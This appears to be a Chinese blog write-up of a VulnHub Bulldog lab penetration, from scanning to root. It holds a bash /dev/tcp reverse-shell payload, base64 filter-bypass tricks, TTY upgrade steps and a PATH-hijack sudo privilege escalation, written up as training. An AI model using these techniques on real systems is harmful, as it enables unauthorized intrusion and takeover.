news 2026/10/1 23:16:07

VulnHub靶机Bulldog完整渗透实战:从信息收集到Root提权

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
VulnHub靶机Bulldog完整渗透实战:从信息收集到Root提权

靶机渗透这个圈子,玩到一定阶段都会有个感觉:光是看writeup、刷题库,不如老老实实拿一个靶机从信息收集打到提权,整个链路走一遍,比什么都长记性。最近我重新把VulnHub上的Bulldog拖出来打了一遍,这靶机难度不算高,但设计得非常用心,几个关键点卡得恰到好处,非常适合用来练手。这里把完整的渗透过程、踩坑记录、以及我在实战中总结的一些经验心得整理出来。无论你是刚入门准备打VulnHub的新手,还是已经在刷OSCP、需要巩固基础和梳理思路的老手,这篇内容都值得看看。

整台机器走下来,我的直观感受是:Bulldog的考查重点非常明确——信息收集的细致程度、对Web应用代码审计的敏感度,以及拿到低权限shell之后如何利用系统配置缺陷完成提权。整个过程基本覆盖了靶机渗透的完整套路,而且中间有几个点,如果不仔细看,很容易卡住,但一旦想通了,就会觉得设计得非常巧妙。

1. 靶机准备与信息收集

打靶机不是开机就扫描就完事,前期准备工作做得越细,后面越不容易被环境问题干扰。这一节先说环境搭建,再说信息收集的思路和实际操作。

1.1 环境搭建与启动

Bulldog是VulnHub上一个基于Ubuntu的镜像,下载下来是一个ova或者zip格式的虚拟机镜像。常见的做法是直接用VirtualBox导入。因为我平时习惯用VMware,所以我的做法是把ova转成vmx,或者直接在VirtualBox里跑也是一个完全可行的选择,两个平台我都实测过,只要网络模式选对,流程上没有本质差别。

网络配置这里是个重点。靶机渗透要求的核心是“能连通、能扫描、能反弹shell”,所以靶机和攻击机的网络必须在同一个二层网络内。我用的方案是两块网卡都设为“仅主机模式(Host-Only)”,保证攻击机和靶机之间无干扰互通,后期反弹Shell时也不会因为NAT地址转换产生额外干扰。

注意:如果你是在公司电脑上练习,务必先确认好网络环境是否允许使用虚拟化软件,并遵守所在组织的安全管理制度。所有内容都是基于本地虚拟化靶机环境进行的合法安全学习,不要对非授权目标做任何操作。

启动之后,先给靶机网络做一个快速探测。由于是动态获取IP(DHCP),如果不借助工具,就需要登录到靶机后台查看IP。但这是靶机渗透,我们不能预知凭据,更不可能登录后去查IP,所以用扫描器去探测存活主机是最常规、也最稳妥的做法。我用的是nmap的snap扫描。

nmap -sn 192.168.56.0/24

这里192.168.56.0/24是我Host-Only网卡的网段,实际以你自己的为准。扫描结果里会出现至少两台主机,一个是攻击机本机,另一个就是靶机。

如果你用的是VirtualBox,网段默认通常是192.168.56.0/24;如果你用的是VMware,Host-Only网段可能不一样,可以用ipconfig(Windows)或ip addr(Linux)先确认自己的网卡地址,再决定扫描网段。这里也是很多新手卡住的地方,老是扫不到靶机,一半的原因都是网段写错了。

1.2 存活探测与端口扫描

拿到靶机IP之后,接下来就是对端口和服务进行详细的扫描。这一步的信息收集质量,直接决定了后续攻击路径的选择。我惯用的扫描命令如下:

nmap -sC -sV -p- -T4 -oN bulldog_full.txt 192.168.56.x

参数解释一下:

  • -sC:加载默认脚本,做服务指纹识别和常见漏洞探测;
  • -sV:获取服务版本号;
  • -p-:全端口扫描,不放过1~65535之间的任何端口,避免默认端口遮挡了非标准服务;
  • -T4:提升扫描速度,本地网络环境这个速度很稳;
  • -oN:把结果存到文件里,方便随时翻查,同时也方便后期写报告或者复盘。

从Bulldog的常规扫描结果来看,目标只开了两个Web服务端口,具体端口号以你实际下载的版本为准。这种看似“干净”的端口情况,其实传递了一个信号——这台机器的主要攻击面就在Web服务上,后面不需要考虑太多复杂的内网横向问题,集中精力啃Web就好。

提示:如果nmap扫描速度很慢,可以先做一次SYN半开扫描(-sS)快速摸底,再对开放端口做版本探测。省下来的时间用来分析Web应用,收益会高得多。

强烈建议养成“边扫描边记录”的习惯。把端口、服务、版本、页面指纹分条记在笔记里,后面写writeup或者复盘时,能省大量时间。用CherryTree、Obsidian、Notion都行,关键是坚持记录。

2. Web端突破:从目录扫描到后台登录

端口扫描结果出来了,目光就聚焦到Web服务上。接下来要做的不是急着点开页面,而是先做指纹识别,搞清楚这个服务的框架、中间件和可能的开发语言,然后再去做目录扫描和源代码分析。

2.1 服务分析与指纹识别

先打开浏览器访问目标站点首页。这一步不要只看页面漂不漂亮,要重点关注几个信息:

  • 响应头里的Server字段;
  • 页面源码中的注释、框架标识、generator标签;
  • 是否有明显的CMS痕迹(如WordPress、Drupal);
  • 是否有跳转到某个登录页或应用管理页。

用curl配合head命令是快速查看响应头的办法,比起浏览器更直接,不会加载无关资源。

curl -I http://192.168.56.x

如果首页是静态页面,什么值得利用的信息都没有,那就需要看后台服务。我这次打开首页时,页面本身确实没有太多信息,但通过扫描目录,很快发现了后台登录入口。目录扫描我用的是gobuster,字典选了/usr/share/wordlists/dirb/common.txt,这个字典在Kali里自带,速度很快,覆盖面对本靶机来说足够。

gobuster dir -u http://192.168.56.x -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50

目录扫描的结果会暴露后台路径和部分资源目录。实际动手时可以多用几个字典交叉扫,比如directory-list-2.3-medium.txt,覆盖率更高。不过扫描时间会相应增加,节奏自己把握。

值得多说一句的是,目录扫描不是扫一遍就完事,得到了路径后,应该顺手对已经发现的页面再递归扫描一次,很多靶机的敏感文件都藏在二级、三级目录下。Bulldog的这个后台路径并不算隐蔽,但如果你只扫根目录不做递归,还是可能漏掉后续关键的源码文件。

2.2 后台鉴权绕过实战

定位到后台登录页面之后,第一反应是尝试弱口令。但需要注意,弱口令测试不是毫无章法地瞎试。我习惯先简单尝试几组最常见的弱口令,比如admin/admin、admin/password,如果没有效果,就果断转向源码分析。在真实的授权测试里,频繁的登录尝试还会触发锁定或告警机制,所以绝不能死磕爆破。

在Bulldog这个靶机上,关键信息藏在后台对应的前端JavaScript文件里。查看网页源码时,我习惯先看引用了哪些JS文件,然后逐个把JS文件下载下来仔细看,尤其是登录验证逻辑、表单提交逻辑这些部分。这类文件在前端源码分析里价值极高,常常藏着注释、测试接口、调试开关,甚至直接是硬编码的凭据。

果不其然,在某个JS文件的代码注释里,我发现了一段与登录校验相关的调试信息,里面提到了一个用户名,以及经过某种编码处理后的密码。这个设计很像真实开发环境中程序员留下的后门或调试入口,正好给了渗透测试人员一个利用点。

根据注释给出的线索,把那段编码内容复制下来,用常见编码方式做解码,很快就还原出了凭据。用这组账号密码登录后台,这条利用路径就算走通了。

注意:这段只是描述常规Web测试中的源码分析技巧。靶机练习环境的设计本身就是用来发现这类“意料之中”的漏洞的,但在真实授权测试中,一旦找到硬编码凭据或注释信息,要第一时间做好记录,并在报告中明确指出其风险,而不仅仅是“能用就用”。

登录后台之后,整个Web端的攻击面会豁然开朗。Bulldog的设计在这里进入了一个核心环节,也是我后面会展开讲的命令执行点。这一步让我再次确认了一个经验:渗透测试中,对源码和注释的敏感度,永远比乱扫乱试更有价值。

3. Getshell与权限提升:完整提权链路拆解

拿到后台权限只是第一步。靶机渗透的核心目标通常是拿到目标主机的最高权限,也就是root用户的shell。这一路要从命令执行漏洞入手,反弹一个稳定的shell回来,然后通过提权拿到root。整个过程需要稳、准、细致。

3.1 命令执行与反弹Shell

登录后台后,我一般都会先看这个后台能做什么。尤其要关注有没有提供“输入命令”“执行操作”“修改配置”等功能的模块。很多自研后台会内嵌一个“系统管理”或“调试工具”页面,表面上是为了运维方便,实际上是命令注入的高发区。

Bulldog这个后台就存在一个可执行命令的功能,界面比较简单,但功能很直接。要做的是不直接用它来执行我们希望看到的命令,而是要构造一个反弹Shell。因为Web端执行命令时,受限于Web服务的运行权限和网络环境,往往拿不到一个交互式终端,反弹Shell能帮我们回到自己的攻击机上。

攻击机上先准备好监听:

nc -lvnp 4444

然后在后台命令执行框里测试基本命令,比如id、whoami,确认命令是通的,再尝试反弹Shell。反弹Shell的payload要适配目标环境,这里我用的是bash的经典写法:

bash -i >& /dev/tcp/192.168.56.x/4444 0>&1

注意到一个细节:这个后台对命令执行是有一定过滤的,包括空格和部分特殊字符的限制。直接粘贴上面的命令可能被执行不成功。这时候需要编码绕过,把同一段命令用base64编码后再执行:

echo cmKg... | base64 -d | bash

这种手法在真实攻防里也很常见。先编码再解码执行,能把很多敏感字符避开过滤规则的拦截。需要注意的是,编码后的字符串要保证完整无误,一个小失误就可能导致反弹失败。

等监听端看到shell连接进来,第一件事就是升级shell、稳定终端:

python3 -c 'import pty;pty.spawn("/bin/bash")'

然后按住Ctrl+Z让shell挂起,回到本地终端执行:

stty raw -echo; fg

接着设置终端环境变量:

export TERM=xterm

这一步做完,就能获得一个带Tab补全和历史记录的完整交互式shell,后续操作会顺手很多。很多新手拿到shell后直接开始翻文件,没有升级终端,等到需要交互式编辑器或sudo密码回显时就各种别扭,这些小技巧早做早享受。

3.2 Sudo配置利用与Root权限获取

拿到低权限shell之后,提权前的系统信息收集特别重要。这里有一条铁律:先看sudo权限,再看可写文件、计划任务、内核版本、SUID程序。

sudo -l

执行结果发现,当前用户具备以root身份执行某个自定义二进制的权限,而且不需要密码。这种sudo配置错位在配置不当的Linux主机上经常出现,很多管理员喜欢给运维人员开放个别命令的sudo权限,却没意识到那条命令本身可能被利用。

我先简单看下这个命令的帮助和功能,发现它本质上是调用其他系统命令的一个外壳程序,底层执行的是类似cat、head这样的文件读取命令。这就给了操作空间。由于当前用户可以以root执行它,而它内部又可以去读取文件,那我们就可以想办法让它读取到root用户的私密文件,比如/etc/shadow、root目录下的flag。

更通用的一种思路是利用PATH环境变量劫持。如果该二进制内部没有使用绝对路径调用命令,而是直接写命令名(比如cat、ls),那我们就可以造一个同名恶意脚本,放到当前用户有写权限的目录下,再把该目录放到PATH最前面。当这个sudo程序被触发时,系统会在PATH中寻找命令,首先找到我们伪造的脚本,于是就能以root身份执行任意命令。

我在当前用户的home目录下建立了一个伪造的cat脚本,内容是把/bin/sh复制或直接调用/bin/sh:

echo '/bin/sh' > cat chmod +x cat export PATH=/home/bulldog:$PATH

接着再以sudo方式运行目标二进制,成功拿到root shell。整个过程完全没有密码参与,只是利用了sudo配置和PATH搜索顺序的弱点。

拿到root之后,直接到/root目录下读取最终的flag文件。到这里整台机器的渗透链路就全部打通,从无到有实现了权限的最大化。

4. 复盘:攻击链总结与实战经验教训

打靶机不只是为了拿到flag,更关键的是要复盘整个攻击链,理解每个漏洞点之间的关系。Burden靶机上看似几个独立的“巧合”,其实是一条完整的利用链路。

4.1 整条攻击链的关系梳理

Bulldog的攻击链可以归纳成下面这几环:

  • 第一环:nmap发现Web服务,目录扫描发现后台登录页;
  • 第二环:后台登录页前端JS注释泄露硬编码凭据,完成鉴权绕过;
  • 第三环:后台命令执行功能存在过滤缺陷,利用base64编码绕过并反弹Shell;
  • 第四环:低权限用户具备sudo执行自定义二进制的权限,且该二进制存在PATH劫持风险,最终提权至root。

环环相扣,缺了任何一环都走不到最后。这就是靶机渗透的乐趣,也是在真实测试中最需要的横向串联能力。单看某个漏洞可能危害有限,但当它们串成一条链时,就能从外部一路打穿到最高权限。

复盘时建议画一张简陋的攻击路径图,不需要什么花哨工具,就是手写几个箭头,把每步的关键命令和漏洞类型标注出来。这个习惯能帮你建立起“从攻击面到利用点”的全局观。

4.2 值得记住的细节和笔记

这次打Bulldog,有几个细节我印象特别深,也踩了坑,值得写在这里分享给大家。

一定要养成给命令注入点做“编码绕过的备选方案”习惯。很多Web应用不会完全不过滤,而是过滤一部分特殊字符,比如空格、尖括号、管道符等。你不用出每一种payload,但脑子里要有几种常用绕过方式的清单,比如${IFS}替代空格、base64编码、十六进制编码、Tab键替代空格等。别说靶机了,真实环境里这些招数同样用得着。

shell升级这件事,看上去不起眼,实际操作体验差距非常大。一开始我没有升级shell,就感觉命令用起来特别别扭,没有Tab补全,vim也没法正常操作,还经常出现界面卡顿。升级完之后,效率至少翻了一倍。新手第一次操作时要注意stty raw -echo; fg执行完以后可能看不到输入回显,这是正常的,按一下回车,再敲reset就能恢复。

还有一点,命令执行时用root权限读取flag后,建议把关键痕迹做个留存。我在root目录下把flag内容复制到笔记里,同时把整个过程中使用过的命令、修改过的文件记录好。严谨的渗透测试流程最后会有报告阶段,这些记录越细致,报告越好写。

5. 常见问题与排查技巧实录

打靶机过程中,不少问题其实非常典型,而且容易卡住人。这里整理一个速查表和几个特别值得说的经验,方便以后再踩坑时直接对号入座。

5.1 问题速查表

问题现象可能原因解决方法
扫描不到靶机IP网段写错或网卡模式不对先用ip addr/ipconfig确认本机Host-Only网段,再调整nmap扫描区间
访问Web页面显示连接拒绝主动扫描时遗漏了非标准端口使用-p-全端口扫描,不要只扫默认端口列表
登录后台时页面提示错误凭据解码方式不对或存在转义字符对比完整注释,尝试base64、hex、URL解码等不同编码方式
反弹Shell执行后无反应命令被空格/特殊字符过滤;监听端口不一致尝试base64编码执行,确认攻击机监听端口和命令中的端口一致
sudo -l显示无法查看当前用户不在sudo组或密码未配置先检查当前用户权限,尝试find / -perm -4000 -type f 2>/dev/null寻找SUID程序作为备选提权路径
拿到shell后翻不了root目录权限不足,尚未提权加固提权步骤优先做sudo枚举,再考虑SUID、计划任务等其他路径
键盘方向键乱码未升级为交互式shell执行python pty升级脚本,配合stty命令完成终端恢复

这张表里的很多问题,其实是相通一个根源——命令执行之前的环境确认没做好。环境不对,后面全是白干。

5.2 几点实操心得

第一,要敢于看源代码。很多人打靶机的时候,页面翻来翻去只看UI,却不看源码。实际上对于自研Web应用,源码和注释往往是最容易出线索的地方。Bulldog的整个突破口就在JS注释里,这种设计其实也模仿了真实开发中常见的疏漏。所以每次遇到登录框,先别急着暴力破解,把前端JS文件、页面源码、响应头里夹带的注释都翻一翻,往往收获更大。

第二,命令执行的结果与Web界面的展示不一定同步。有时候后端会把输出截断或者写到日志里,所以命令执行后不要只盯着页面上显示的输出,如果页面空白,不妨换个方式,比如让命令把结果输出到Web目录下的一个文件,然后直接访问那个文件。我这次在测试命令是否能通时,就因为页面输出被截断而多花了一点时间,后来改成id > /var/www/html/out.txt再访问,才确认命令确实执行成功。

第三,提权时不要只盯着sudo。很多时候sudo -l结果里什么都没有,这时候就要把思路打开,看看有没有SUID位程序、可写的计划任务、不安全的NFS配置、内核版本漏洞等。靶机和真实环境里,提权路径并不只有一条,提前多掌握几种思路,现场才不会慌。就比如Bulldog这台机器,如果你一开始就卡在sudo那条线上没进展,转去看SUID文件会发现另一条可以利用的路径,殊途同归都可以到root。

根据我个人经验,打靶机最忌讳的是“一条路走到黑”,死磕某个点不放手。合理的策略是每隔一段时间就回到信息收集阶段,重新翻一遍端口、目录、源码,往往能发现之前漏掉的东西。Bulldog这个靶机难就难在那些小细节上,但只要保持耐心,把信息摸清楚,每一步都看似偶然,实则必然。

如果你把Bulldog打通了,想再趁热打铁练练手,同系列的DC靶机也是不错的选择,比如DC6这类机器,里面加入了更多CMS层面的漏洞利用和提权思路,正好能帮你把Web渗透的武器库再扩充一圈。每一次打靶都不只是提交一个flag,而是把攻击思路从“脚本小子”往“真正的渗透测试者”方向推进一步。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/1 23:11:28

生产者-消费者模式与并行任务调度:从BlockingQueue到虚拟线程的工程实践

我想先把这次做的东西说清楚——这个项目围绕的是生产者-消费者模式、并行任务调度,以及一个经常被忽略的细节:更简洁的注释和每项改进的详细解释。我自己维护过一套高吞吐的通知推送组件,早期代码就是“能跑就行”的水平,队列选型…

作者头像 李华
网站建设 2026/10/1 23:11:00

Linux内核bus_register源码解析:总线注册与设备驱动模型

1. 先搞清楚总线在内核中的定位1.1 总线不是物理概念,是软件抽象很多刚开始读内核源码的兄弟,一看到bus_register就条件反射地往硬件上想:是不是要去操作某个控制器、读写某个寄存器?其实不是。Linux 驱动模型里的“总线”是一个纯…

作者头像 李华
网站建设 2026/10/1 23:07:40

大模型工程化收敛体系:从不确定性到确定性交付的实践指南

这几年做大模型工程化,我见过太多团队卡在同一个地方:Demo阶段跑得飞起,一到生产环境就天天救火。问题五花八门,但根子都指向同一件事——大模型本身的不确定性。同一个Prompt,上午回答和下午回答不一样;同…

作者头像 李华
网站建设 2026/10/1 23:07:06

从零手写推理模型:用NumPy实现Transformer核心模块

说实话,我入行AI工程这四年,最怕的不是模型训不出来,而是被一句话问住:"你平时用的model.generate(),底层到底发生了什么?"我当年面试算法岗,简历上写着"熟练使用Transformer&qu…

作者头像 李华
网站建设 2026/10/1 23:05:38

深度解析进程状态:从五状态模型到Linux实战排查

开篇:从“一个程序无法同时干两件事”说起你有没有想过,你在浏览器里刷网页的同时,后台的播放器在放歌,微信在接收消息,杀毒软件在扫描磁盘——这些都是同时发生的。但你的CPU一共就那么多核,它怎么做到“一…

作者头像 李华
网站建设 2026/10/1 23:05:34

基于Hadoop+Spark+Hive的游戏推荐系统:大数据毕业设计全链路实践

又是一年毕业设计选题季。如果你正为大数据方向的题目发愁,想找一个既有工程含量、又方便展示效果、论文答辩还能讲出深度的方向,那这套基于 Hadoop Spark Hive 的游戏推荐系统,确实值得认真参考。项目把大数据领域最经典的三个组件串成了一…

作者头像 李华